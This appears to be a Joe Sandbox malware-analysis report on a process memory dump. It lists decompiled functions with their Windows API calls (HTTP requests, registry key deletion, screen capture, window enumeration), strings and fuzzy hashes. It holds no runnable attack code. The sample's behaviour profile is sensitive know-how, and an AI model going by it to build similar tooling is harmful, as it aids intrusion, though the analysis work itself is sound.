Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 162151bbde0fb1728825adff6253208a479f7a9759c11fe128e505c1fc6d3256
Instruction ID: 562db8c3027d98bbc40dc69857a6f60629fd71ebbdca34ad904f359b97830c74
Opcode Fuzzy Hash: 162151bbde0fb1728825adff6253208a479f7a9759c11fe128e505c1fc6d3256
Instruction Fuzzy Hash: E2716671144248AFDB21CF98DD48BBABBF9FB89314F14491DFA8987261CB70AD06DB11

Function 00AF911E Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00A79BB2

DragQueryPoint.SHELL32(?,?), ref: 00AF9147

Part of subcall function 00AF7674: ClientToScreen.USER32(?,?), ref: 00AF769A
Part of subcall function 00AF7674: GetWindowRect.USER32(?,?), ref: 00AF7710
Part of subcall function 00AF7674: PtInRect.USER32(?,?,00AF8B89), ref: 00AF7720

SendMessageW.USER32(?,000000B0,?,?), ref: 00AF91B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00AF91BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00AF91DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00AF9225
SendMessageW.USER32(?,000000B0,?,?), ref: 00AF923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00AF9255
SendMessageW.USER32(?,000000B1,?,?), ref: 00AF9277
DragFinish.SHELL32(?), ref: 00AF927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00AF9371

Strings

@GUI_DRAGFILE, xrefs: 00AF9320
@GUI_DROPID, xrefs: 00AF929E
@GUI_DRAGID, xrefs: 00AF92E9

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 221274066-3440237614
Opcode ID: 21df1b5057db15fa4321a21091f810923fb8f61f72ae82c0bb008c35b2fa470a
Instruction ID: efb91645e64adb22607587e5b929b1586938aa58ea8792664ce4d361aca5b4b6
Opcode Fuzzy Hash: 21df1b5057db15fa4321a21091f810923fb8f61f72ae82c0bb008c35b2fa470a
Instruction Fuzzy Hash: 97616A71108305AFC701DFA5DE85EAFBBF8EF98750F100A1DF595921A0DB309A49CB52

Function 00ADC476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00ADC4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00ADC4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00ADC4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00ADC4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00ADC533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00ADC549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00ADC554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00ADC584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00ADC5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00ADC5F0
InternetCloseHandle.WININET(00000000), ref: 00ADC5FB

Strings

, xrefs: 00ADC575

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 0dd2523e6460dae46573e778e680c3623ad8816e42424d26aea93ca4671d3ede
Instruction ID: 3113316f29f273a1467ea08144a1f7f455ac43033756fcd40c9e453d4858a59d
Opcode Fuzzy Hash: 0dd2523e6460dae46573e778e680c3623ad8816e42424d26aea93ca4671d3ede
Instruction Fuzzy Hash: 6E515AB154020ABFDB21DFA1DA88ABB7BBCFF08764F40451AF94696210DB34E945DB60

Function 00AF856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 00AF8592
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00AF85A2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00AF85AD
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00AF85BA
GlobalLock.KERNEL32(00000000), ref: 00AF85C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00AF85D7
GlobalUnlock.KERNEL32(00000000), ref: 00AF85E0
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00AF85E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00AF85F8
OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,00AFFC38,?), ref: 00AF8611
GlobalFree.KERNEL32(00000000), ref: 00AF8621
GetObjectW.GDI32(?,00000018,?), ref: 00AF8641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00AF8671
DeleteObject.GDI32(?), ref: 00AF8699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00AF86AF

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 1bdad56d6b5a7d19e1c94fed19ad35699f139e2e85bcac2a4f94fcbbb639b628
Instruction ID: 4716ca16aeb2e9b85072b4d2df67a2335a26d064e94fce7a06f30b39cde29081
Opcode Fuzzy Hash: 1bdad56d6b5a7d19e1c94fed19ad35699f139e2e85bcac2a4f94fcbbb639b628
Instruction Fuzzy Hash: CE410975600208AFDB11DFE6CD48EBABBB8EF89761F104158F905EB260DB349902DB60

Function 00AD14BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00AD1502
VariantCopy.OLEAUT32(?,?), ref: 00AD150B
VariantClear.OLEAUT32(?), ref: 00AD1517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00AD15FB
VarR8FromDec.OLEAUT32(?,?), ref: 00AD1657
VariantInit.OLEAUT32(?), ref: 00AD1708
SysFreeString.OLEAUT32(?), ref: 00AD178C
VariantClear.OLEAUT32(?), ref: 00AD17D8
VariantClear.OLEAUT32(?), ref: 00AD17E7
VariantInit.OLEAUT32(00000000), ref: 00AD1823

Strings

Default, xrefs: 00AD16AF
%4d%02d%02d%02d%02d%02d, xrefs: 00AD1625

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 188992b1299eb0b206db5018c992b28b22220ae823f15e6bd935e33748ab739e
Instruction ID: 1ff28726e7810a9d054a6fe4e9962cff8d0248b472d0aa7d112eb121adafea5c
Opcode Fuzzy Hash: 188992b1299eb0b206db5018c992b28b22220ae823f15e6bd935e33748ab739e
Instruction Fuzzy Hash: 62D1ED72A00215FBDB109FA5E989B79B7B5BF45700F10805BF40BAB291DB38ED41DB62

Function 00AEB60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

Part of subcall function 00AEC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00AEB6AE,?,?), ref: 00AEC9B5
Part of subcall function 00AEC998: _wcslen.LIBCMT ref: 00AEC9F1
Part of subcall function 00AEC998: _wcslen.LIBCMT ref: 00AECA68
Part of subcall function 00AEC998: _wcslen.LIBCMT ref: 00AECA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00AEB6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00AEB772
RegDeleteValueW.ADVAPI32(?,?), ref: 00AEB80A
RegCloseKey.ADVAPI32(?), ref: 00AEB87E
RegCloseKey.ADVAPI32(?), ref: 00AEB89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 00AEB8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00AEB904
RegDeleteKeyW.ADVAPI32(?,?), ref: 00AEB922
FreeLibrary.KERNEL32(00000000), ref: 00AEB983
RegCloseKey.ADVAPI32(00000000), ref: 00AEB994

Strings

RegDeleteKeyExW, xrefs: 00AEB8FE
advapi32.dll, xrefs: 00AEB8ED

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: 0875f6ca92b475afec537006cb5339eb5759b270832d2bbca05c07345b414563
Instruction ID: 702989ea63e0caf1275c25484b088c342da7de3d764d04e13bd3aaf64b476abe
Opcode Fuzzy Hash: 0875f6ca92b475afec537006cb5339eb5759b270832d2bbca05c07345b414563
Instruction Fuzzy Hash: EBC17C30214241AFD710DF65C599F2ABBF5BF84318F14859CE49A8B7A2CB71EC46CBA1

Function 00AE255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00AE25D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00AE25E8
CreateCompatibleDC.GDI32(?), ref: 00AE25F4
SelectObject.GDI32(00000000,?), ref: 00AE2601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 00AE266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 00AE26AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 00AE26D0
SelectObject.GDI32(?,?), ref: 00AE26D8
DeleteObject.GDI32(?), ref: 00AE26E1
DeleteDC.GDI32(?), ref: 00AE26E8
ReleaseDC.USER32(00000000,?), ref: 00AE26F3

Strings

(, xrefs: 00AE268D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 1e31122d271e53dd6da38364e1cb7d7bc6d6df4ff8f3127159f32fad64d74c4c
Instruction ID: bcc2ac73aa54eb0c779d7f0f0b88f88c5010d8b391a6f5c487efeecc7cafc586
Opcode Fuzzy Hash: 1e31122d271e53dd6da38364e1cb7d7bc6d6df4ff8f3127159f32fad64d74c4c
Instruction Fuzzy Hash: F761E175D00219EFCF14CFE9D984AAEBBB9FF48310F208529E955A7250E770A951CF60

Function 00A9DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00A9DAA1

Part of subcall function 00A9D63C: _free.LIBCMT ref: 00A9D659
Part of subcall function 00A9D63C: _free.LIBCMT ref: 00A9D66B
Part of subcall function 00A9D63C: _free.LIBCMT ref: 00A9D67D
Part of subcall function 00A9D63C: _free.LIBCMT ref: 00A9D68F
Part of subcall function 00A9D63C: _free.LIBCMT ref: 00A9D6A1
Part of subcall function 00A9D63C: _free.LIBCMT ref: 00A9D6B3
Part of subcall function 00A9D63C: _free.LIBCMT ref: 00A9D6C5
Part of subcall function 00A9D63C: _free.LIBCMT ref: 00A9D6D7
Part of subcall function 00A9D63C: _free.LIBCMT ref: 00A9D6E9
Part of subcall function 00A9D63C: _free.LIBCMT ref: 00A9D6FB
Part of subcall function 00A9D63C: _free.LIBCMT ref: 00A9D70D
Part of subcall function 00A9D63C: _free.LIBCMT ref: 00A9D71F
Part of subcall function 00A9D63C: _free.LIBCMT ref: 00A9D731

_free.LIBCMT ref: 00A9DA96

Part of subcall function 00A929C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00A9D7D1,00000000,00000000,00000000,00000000,?,00A9D7F8,00000000,00000007,00000000,?,00A9DBF5,00000000), ref: 00A929DE
Part of subcall function 00A929C8: GetLastError.KERNEL32(00000000,?,00A9D7D1,00000000,00000000,00000000,00000000,?,00A9D7F8,00000000,00000007,00000000,?,00A9DBF5,00000000,00000000), ref: 00A929F0

_free.LIBCMT ref: 00A9DAB8
_free.LIBCMT ref: 00A9DACD
_free.LIBCMT ref: 00A9DAD8
_free.LIBCMT ref: 00A9DAFA
_free.LIBCMT ref: 00A9DB0D
_free.LIBCMT ref: 00A9DB1B
_free.LIBCMT ref: 00A9DB26
_free.LIBCMT ref: 00A9DB5E
_free.LIBCMT ref: 00A9DB65
_free.LIBCMT ref: 00A9DB82
_free.LIBCMT ref: 00A9DB9A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 1d51f7faf58cad7b3ed1582b1c0a83808bfd06e46d6c3fe5ccdcba8eb6b2baca
Instruction ID: 42ab49157b10d594e6fbcf994a8a16acdd6c4a6fdf0e647dab1c95ad62346bdd
Opcode Fuzzy Hash: 1d51f7faf58cad7b3ed1582b1c0a83808bfd06e46d6c3fe5ccdcba8eb6b2baca
Instruction Fuzzy Hash: 85314832704305AFEF22AB39E945B5ABBE9FF50360F554429E449EB191DF31AC90CB60

Function 00AC365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00AC369C
_wcslen.LIBCMT ref: 00AC36A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00AC3797
GetClassNameW.USER32(?,?,00000400), ref: 00AC380C
GetDlgCtrlID.USER32(?), ref: 00AC385D
GetWindowRect.USER32(?,?), ref: 00AC3882
GetParent.USER32(?), ref: 00AC38A0
ScreenToClient.USER32(00000000), ref: 00AC38A7
GetClassNameW.USER32(?,?,00000100), ref: 00AC3921
GetWindowTextW.USER32(?,?,00000400), ref: 00AC395D

Strings

%s%u, xrefs: 00AC3734

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: c9e0c976476dc11c0836b6545d8d66c27a9d59f6a46cf006c0361b1cc7ffe2d3
Instruction ID: 38602f1179101292dd08337edac6a5dbac3d484ac75c0091c25b5bf5bd112fa4
Opcode Fuzzy Hash: c9e0c976476dc11c0836b6545d8d66c27a9d59f6a46cf006c0361b1cc7ffe2d3
Instruction Fuzzy Hash: 1391D172204606AFDB18DF64C995FEAF7A8FF44350F01862DF999D2190DB30EA46CB91

Function 00AC4954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00AC4994
GetWindowTextW.USER32(?,?,00000400), ref: 00AC49DA
_wcslen.LIBCMT ref: 00AC49EB
CharUpperBuffW.USER32(?,00000000), ref: 00AC49F7
_wcsstr.LIBVCRUNTIME ref: 00AC4A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00AC4A64
GetWindowTextW.USER32(?,?,00000400), ref: 00AC4A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00AC4AE6
GetClassNameW.USER32(?,?,00000400), ref: 00AC4B20
GetWindowRect.USER32(?,?), ref: 00AC4B8B

Strings

ThumbnailClass, xrefs: 00AC4A6F, 00AC4AF1

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: fae3d5352e8c9b07d27c64d77d03fbc88b3a6bd5d6479707d7b75421a21d25c0
Instruction ID: ff744903eaf74dde8652971e990f06ac324d5d6cf0bbbc30b76aaaecaa38c1da
Opcode Fuzzy Hash: fae3d5352e8c9b07d27c64d77d03fbc88b3a6bd5d6479707d7b75421a21d25c0
Instruction Fuzzy Hash: AB91FE710082099FDB04DF14CA90FAA7BE8FF88350F05846DFD859A0A6EB30ED45CBA5

Function 00AF8D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00A79BB2

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00AF8D5A
GetFocus.USER32 ref: 00AF8D6A
GetDlgCtrlID.USER32(00000000), ref: 00AF8D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 00AF8E1D
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00AF8ECF
GetMenuItemCount.USER32(?), ref: 00AF8EEC
GetMenuItemID.USER32(?,00000000), ref: 00AF8EFC
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00AF8F2E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00AF8F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00AF8FA1

Strings

0, xrefs: 00AF8E9F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: 0bee59e69d4fd09bbef4a3eff5c69e6e0367440c2503aed16d984c20c7a97d3b
Instruction ID: 456b5f07a469311797b15ad1f29cba896b3d21e05590cd450f7810238fbd8c7e
Opcode Fuzzy Hash: 0bee59e69d4fd09bbef4a3eff5c69e6e0367440c2503aed16d984c20c7a97d3b
Instruction Fuzzy Hash: 3381BF715083099FDB10CFA4C984ABBBBE9FF88764F144959FA84D7291DB34D901CBA1

Function 00ACDC0E Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 178COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00ACDC20
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00ACDC46
_wcslen.LIBCMT ref: 00ACDC50
_wcsstr.LIBVCRUNTIME ref: 00ACDCA0
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00ACDCBC

Strings

StringFileInfo\, xrefs: 00ACDC8F
04090000, xrefs: 00ACDCF2
\VarFileInfo\Translation, xrefs: 00ACDCB4
%u.%u.%u.%u, xrefs: 00ACDD9A
DefaultLangCodepage, xrefs: 00ACDD1F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_wcslen_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 1939486746-1459072770
Opcode ID: a278e5879981cde8c7c2c6d11c2582852d8ec248b5119d8a572f67f5683dc119
Instruction ID: b11294fb071c964c3b2e87909f183b067f2f2e426ebb6f3894f1c86d7abb79ea
Opcode Fuzzy Hash: a278e5879981cde8c7c2c6d11c2582852d8ec248b5119d8a572f67f5683dc119
Instruction Fuzzy Hash: 7E411F329402187ADB11B7B5DE43FBF77BCEF41720F1040AAF905A6192EB749A01A7A5

Function 00AECC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00AECC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 00AECC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00AECD48

Part of subcall function 00AECC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00AECCAA
Part of subcall function 00AECC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 00AECCBD
Part of subcall function 00AECC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00AECCCF
Part of subcall function 00AECC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00AECD05
Part of subcall function 00AECC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00AECD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 00AECCF3

Strings

RegDeleteKeyExW, xrefs: 00AECCC9
advapi32.dll, xrefs: 00AECCB8

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
